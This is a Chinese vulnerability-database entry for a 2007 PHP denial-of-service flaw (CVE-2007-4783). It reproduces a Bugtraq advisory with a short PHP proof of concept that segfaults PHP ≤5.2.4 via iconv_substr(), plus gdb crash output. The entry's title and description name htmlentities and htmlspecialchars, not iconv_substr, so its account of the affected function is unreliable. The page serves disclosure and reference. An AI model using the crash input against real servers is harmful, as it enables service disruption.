PHP htmlentities和htmlspecialchars函数拒绝服务漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1189208 漏洞类型 输入验证
发布时间 2007-09-10 更新时间 2009-02-05
CVE编号 CVE-2007-4783 CNNVD-ID CNNVD-200709-084
漏洞平台 N/A CVSS评分 5.0
|漏洞来源
https://cxsecurity.com/issue/WLB-2007090032
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200709-084
|漏洞详情
PHP是广泛使用的通用的脚本语言,特别适合于Web开发,可嵌入到HTML中。PHP的5.2.5之前版本中存在多个安全漏洞,具体包括:htmlentities和htmlspecialchars函数中不会接受部分多字节序列从而导致拒绝服务。
|漏洞EXP
Application: PHP <=5.2.4
Web Site: http://php.net
Platform: unix
Bug: denial of service
function: iconv_substr()
special condition: default php-memory-limit 
-------------------------------------------------------

1) Introduction
2) Bug
3) Proof of concept
4) Greets
5) Credits
===========
1) Introduction
===========

"PHP  is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."

======
2) Bug
======

iconv_substr() is vulnerable to a denial of service

=====
3)Proof of concept
=====

Proof of concept example :
<?
$a = str_repeat ("A",9989776);/*if a bigger value is supplied, php will get freezed for a while */
$b = str_repeat("/", 2798349);// segfault happens here
iconv_substr($a,0,1,$b);
?>

result:
(gdb) run 2.php
/*(2 mn later...)*/
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1215904064 (LWP 11430)]
0xb796e1af in _dl_open () from /lib/tls/i686/cmov/libc.so.6

========
4)Greets
========
Ivanlef0u,Deimos,Benji,Berga,Soh,and everyones from worldnet: #futurezone & #nibbles

=====
5)Credits
=====

Laurent gaffie
contact : laurent.gaffie (at) gmail (dot) com [email concealed]
stay tuned, site comming soon ....

|参考资料

来源:BUGTRAQ
名称:20070905PHP<=5.2.4iconv_substr()denialofservice
链接:http://www.securityfocus.com/archive/1/archive/1/478637/100/0/threaded
来源:wiki.rpath.com
链接:http://wiki.rpath.com/wiki/Advisories:rPSA-2007-0242
来源:OSVDB
名称:38917
链接:http://osvdb.org/38917
来源:issues.rpath.com
链接:https://issues.rpath.com/browse/RPL-1943
来源:HP
名称:HPSBUX02332
链接:http://www.securityfocus.com/archive/1/archive/1/491693/100/0/threaded
来源:GENTOO
名称:GLSA-200710-02
链接:http://www.gentoo.org/security/en/glsa/glsa-200710-02.xml
来源:SREASON
名称:3115
链接:http://securityreason.com/securityalert/3115
来源:SECUNIA
名称:30040
链接:http://secunia.com/advisories/30040
来源:SECUNIA
名称:27659
链接:http://secunia.com/advisories/27659
来源:SECUNIA
名称:27102
链接:http://secunia.com/advisories/27102